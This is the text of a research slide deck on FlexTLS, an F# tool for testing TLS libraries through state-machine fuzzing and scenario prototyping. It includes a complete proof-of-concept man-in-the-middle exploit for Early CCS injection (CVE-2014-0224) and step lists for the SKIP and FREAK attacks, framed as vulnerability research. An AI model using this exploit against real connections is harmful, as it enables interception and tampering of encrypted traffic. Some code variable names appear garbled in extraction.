FlexTLS:
A tool for testing TLS implementations

http://smacktls.com
http://mitls.org

Benjamin Beurdouche, Antoine Delignat-Lavaud, Nadim Kobeissi, Alfredo Pironti, Karthikeyan Bhargavan
Testing Agile Cryptographic Protocols

Protocols often negotiate crypto parameters

- Many key exchanges (RSA, DHE, PSK)
- Many authentication mechanisms (Cert, Password)
- Many encryption schemes (AEAD, RC4-HMAC)
- Much of the complexity of TLS, IKEv2, SSH is in the composition of these mechanisms

How do we test such protocols systematically?

- How to integrate those tests to a development cycle?
Transport Layer Security (1994—)

The default secure channel protocol?
HTTPS, 802.1x, VPNs, files, mail, VoIP, ...
Handles ~4 Billion $ a day (e-commerce only)

20 years of attacks, and fixes
1994  Netscape’s Secure Sockets Layer
1996  SSL3
1999  TLS1.0 (RFC2246)
2006  TLS1.1 (RFC4346)
2008  TLS1.2 (RFC5246)
2015  TLS1.3?

Many implementations
OpenSSL, SecureTransport, NSS,
SChannel, GnuTLS, JSSE, PolarSSL, ...
many bugs, attacks, patches every year

We need better testing tools!
TLS protocol overview

**Hello**
- Client: Protocol negotiation
- Server: Agree on version
- Server: Agree on ciphersuite
- Server: Determines all crypto algos

**Key Exchange**
- Client: Authenticated Key Exchange
- Server: Verify server/client identity
- Server: Generate master secret
- Server: Derive connection keys

**Finished**
- Client: Key, transcript confirmation
- Server: Completes authentication
- Server: Matches transcripts
- Server: Authenticated encryption

**Application Data**
- Client: Application data streams
- Server: Full duplex channel
- Server: Authenticated encryption
Composing Key Exchanges

[IEEE S&P’15]

ClientHello$(v, [kx_1, kx_2, \ldots])$

\[\text{RSA}\]

ServerHello$(v, kx = \text{RSA})$

ServerCertificate$(certs)$

ServerHelloDone

ClientKeyExchange$(rsaenc(pms, pk_s))$

ClientCCS

ClientFinished$(\text{mac}(log, pms))$

ServerCCS

ServerFinished$(\text{mac}(log', pms))$

ApplicationData*
TLS State Machine

RSA + DHE + ECDHE
+ Session Resumption
+ Client Authentication

- Covers most features used on the Web
- Composition proved secure for miTLS implementation
  [IEEE S&P’13, CRYPTO’14]
  http://mitls.org
- Reference code written for verification, in F#

Are state machines of usual implementations correct?
Can we test them?
FlexTLS: a tool for testing TLS libraries

- Fast implementation of TLS scenarios
- Setup MITMs and manage easily concurrent connections
- Fragmentation and arbitrary alterations on TLS messages at multiple levels of abstraction (Msgs, HS, Record, TCP...)
- State-machine aware fuzzing capabilities

Focused on ease of use
Why did we use miTLS?

• (We wrote miTLS, so we know it well...)
• Functional language statically strongly typed (F#)
• We can reuse some functions which have been formally verified (parsing, serializing...)
• No side-effects except for networking
• Ease the setup of concurrent connections, synchronization or transfer of states and messages across connections
Applications

• Prototyping of new protocol features (TLS 1.3)
• Implementing proof-of-concept attack demos (EarlyCCS)
• State machine fuzzing (SKIP & FREAK)
Prototyping TLS 1.3

```haskell
-- We need to use the negotiable groups extension for TLS 1.3
let cfg = {defaultConfig with maxVer = TLS_1p3;
           negotiableDHGroups = [DHE2432; DHE3072; DHE4096; DHE6144; DHE8192]} in

-- Start TCP connection with the server
let st, _ =
  FlexConnection.clientOpenTcpConnection(address, cn, port, cfg.maxVer) in

-- We want to ensure a ciphersuite
let fch = {FlexConstants.nullFClientHello with
            pv = Some(cfg.maxVer);
            ciphersuites = Some([TLS_DHE_RSA_WITH_AES_128_GCM_SHA256]) } in

let st, nsc, fch = FlexClientHello.send(st, fch, cfg) in
let st, nsc, fcks = FlexClientKeyShare.send(st, nsc) in

let st, nsc, fsh = FlexServerHello.receive(st, fch, nsc) in
let st, nsc, fsks = FlexServerKeyShare.receive(st, nsc) in

-- Peer advertises that it will encrypt the traffic
let st = FlexState.installReadKeys st nsc in
let st, nsc, fcert = FlexCertificate.receive(st, Client, nsc) in
let st, nsc, scertv =
  FlexCertificateVerify.receive(st, nsc, FlexConstants.sigAlgs_ALL) in
let st, nsc, ffS = FlexFinished.receive(st, nsc, Server) in

-- We advertise that we will encrypt the traffic
let st = FlexState.installWriteKeys st nsc in
let st, nsc, ffC = FlexFinished.send(st, nsc, Client) in

-- Install the application data keys
let st = FlexState.installReadKeys st nsc in
let st = FlexState.installWriteKeys st nsc in
```
Rapid prototyping of TLS scenarios

What is the development cost of scenarios in FlexTLS?

- Full handshakes for RSA and (EC)DHE are written in seconds
- Most complex scenarios are written in a few hours
- Focused on ease of use (inference of defaults)

<table>
<thead>
<tr>
<th>Scenario</th>
<th># of msg</th>
<th>lines of code</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>TLS 1.2 RSA</td>
<td>9</td>
<td>18</td>
<td>-</td>
</tr>
<tr>
<td>TLS 1.2 DHE</td>
<td>13</td>
<td>23</td>
<td>Sec. 2</td>
</tr>
<tr>
<td>TLS 1.3 1-RTT</td>
<td>10</td>
<td>24</td>
<td>Sec. 3.3, App. B</td>
</tr>
</tbody>
</table>
Implementing CVE-2014-0224

```
let earlyCCS (server_name: string, port:int) : state * state =

(* Start being a Man-In-The-Middle *)
let stt, cst = FlexConnection.MitmOpenTcpConnections(* 0.0.0.0 *, server_name, listener_port=6666, server_cm=server_name, server_port=port) in

(* Forward client hello *)
let stt, nsc, sch = FlexClientHello.receive(sst) in
let cst = FlexHandshake.send(cst, sch, payload) in

(* Forward server hello and check the ciphersuite *)
let stt, nsc, csh = FlexServerHello.receive(cst, sch, nsc) in
if not (isRSA(CipherSuite(cipherSuite_of_name (getSuite csh)))) then
  failwith "Demo implemented for the RSA key exchange only"
else
  let stt = FlexHandshake.send(sst, csh, payload) in

(* Inject CCS to both *)
let stt, sst = FlexCCS.send(sst) in
let cst, cct = FlexCCS.send(cst) in

(* Compute the weak keys and start encrypting data we send *)
let weakKeys = { FlexConstants.nullKeys with
  ms = (Bytes.createBytes 48 0) } in
let weakNSC = { nsc with keys = weakKeys } in
let weakNSCServer = FlexSecrets.fillSecrets(sst, Server, weakNSC) in
let stt = FlexState.installWriteKeys sst weakNSCServer in
let weakNSCClient = FlexSecrets.fillSecrets(cst, Client, weakNSC) in
let cst = FlexState.installWriteKeys cst weakNSCClient in

(* Forward server cert, server hello done, and client key exchange *)
let cst, sstt = FlexHandshake.forward(cst, sst) in
let cst, sttt = FlexHandshake.forward(cst, sst) in
let cst, sttt = FlexHandshake.forward(cst, sst) in
let sttt = FlexSecrets.installReadKeys sst weakNSCServer in

(* Get the Client CCS, drop it, but install new weak reading keys *)
let sst, sttt = FlexCCS.receive(sst) in
let sst = FlexState.installReadKeys sst weakNSCServer in

(* Forward the client finished message *)
let sst, sttt = FlexHandshake.forward(sst, cst) in

(* Forward the CCS, and install weak reading keys on client side *)
let cst, sttt = FlexCCS.receive(cst) in
let cst = FlexState.installReadKeys cst weakNSCClient in

(* Forward server finished message *)
let cst, sstt = FlexHandshake.forward(cst, sst) in
```

Diagram:

```
Client          Attacker          Server
C               M                S

ClientHello → ServerHello

Secrets: msweak, keysweak

Certificate (SNMC=0) → Certificate (SNMC=1)

ServerHelloDone → ServerHelloDone

Secrets: msweak, keysweak

CCS

ClientKeyExchange → ClientKeyExchange (SNMS=0)

Secrets: mstrong, keysweak

ClientFinished (SNCM=0) → ClientFinished (SNMS=1)

CCS (SNMC=2) → CCS

ServerFinished (SNMC=0) → ServerFinished (SNMS=0)

Data (SNCM=n) → Data (SNMS=n+1)

Data (SNCM=n) → Data (SNMS=n)
```

[Source: KIKUCHI]
Fuzzing TLS (SmackTLS)

We built a test framework

- Generate 100s of non-conforming traces from a state machine specification
- For each trace, we automatically generate a FlexTLS scenario
- We tested many TLS libraries using those “deviant” traces
Many, Many Bugs

Unexpected state transitions in OpenSSL, NSS, Java, SecureTransport, ...

• Required messages are allowed to be skipped
• Unexpected messages are allowed to be received
• CVEs for many libraries

How come all these bugs?
• In independent code bases, sitting in there for years
• Are they exploitable?
Many, Many Bugs

Unexpected state transitions in OpenSSL, NSS, Java, SecureTransport, ...

- Required messages are allowed to be skipped
- Unexpected messages are allowed to be received
- CVEs for many libraries

How come all these bugs?

- In independent code bases, sitting in there for years
- Are they exploitable?
Network attacker impersonates api.paypal.com to a JSSE client

1. Send PayPal’s cert
2. SKIP ServerKeyExchange (bypass server signature)
3. SKIP ServerHelloDone
4. SKIP ServerCCS (bypass encryption)
5. Send ServerFinished using uninitialized MAC key (bypass handshake integrity)
6. Send ApplicationData (unencrypted) as S.com
FREAK: Downgrade to RSA_EXPORT

A man-in-the-middle attack against:

- servers that support RSA_EXPORT (512bit keys obsoleted in 2000)
- clients that accept ServerKeyExchange in RSA (SmackTLS bug)
Online instance of FlexTLS

- Publicly available web application for testing TLS clients and servers
- Demonstrates FlexTLS’s capability to underpin TLS testing suites.

**SMACKTest**

Live [state machine attack] testing.

- If the test does not begin, [click here] to launch it manually, then return to this tab to inspect results.
- 298: Test failed. Click for detailed log.
- 297: Test failed. Click for detailed log.
- 296: Test failed. Click for detailed log.
- 295: Test succeeded. Click for detailed log.
- 294: Test succeeded. Click for detailed log.
- 293: Test failed. Click for detailed log.
- 292: Test failed. Click for detailed log.
- 291: Test failed. Click for detailed log.
Status

Prototyping of exploits using FlexTLS

- First known complete implementation of the Triple Handshake
- Replication of several known attacks like EarlyCCS, Fragmented CH.
- Discovery and implementation of FREAK, SKIP [IEEE S&P’15]

Systematic testing of TLS implementation

- State machine fuzzing automation and discovery of bugs
- Regression testing of implementations and attack database

<table>
<thead>
<tr>
<th>Scenario</th>
<th># of msg</th>
<th>lines of code</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>TLS 1.2 RSA</td>
<td>9</td>
<td>18</td>
<td>-</td>
</tr>
<tr>
<td>TLS 1.2 DHE</td>
<td>13</td>
<td>23</td>
<td>Sec. 2</td>
</tr>
<tr>
<td>TLS 1.3 1-RTT</td>
<td>10</td>
<td>24</td>
<td>Sec. 3.3, App. B</td>
</tr>
<tr>
<td>ClientHello Fragmentation</td>
<td>3</td>
<td>8</td>
<td>Sec. 3.1.2</td>
</tr>
<tr>
<td>Alert Fragmentation</td>
<td>3</td>
<td>7</td>
<td>Sec. 3.1.3</td>
</tr>
<tr>
<td>FREAK</td>
<td>15</td>
<td>38</td>
<td>Sec. 3.1.6</td>
</tr>
<tr>
<td>SKIP</td>
<td>7</td>
<td>15</td>
<td>Sec. 3.1.1, App. A</td>
</tr>
<tr>
<td>Triple Handshake</td>
<td>28</td>
<td>44</td>
<td>Sec. 3.1.4</td>
</tr>
<tr>
<td>Early CCS Injection</td>
<td>17</td>
<td>29</td>
<td>Sec. 3.1.5</td>
</tr>
</tbody>
</table>

Table 2: FLEXTLS Scenarios: evaluating succinctness
Conclusions

Cryptographic protocol testing needs work

• State-machine fuzzing should be done systematically
• You can use FlexTLS to demonstrate new attacks (Logjam)
• You can use FlexTLS to test new features in your code to ensure that it does not re-enable old attacks
• There may be similar bugs in IPsec and SSH

FlexTLS is available at http://smacktls.com
(Future releases at http://mitls.org)
Thank you!

We would also like to acknowledge the INRIA Prosecco team and our colleagues working both on miTLS and F*.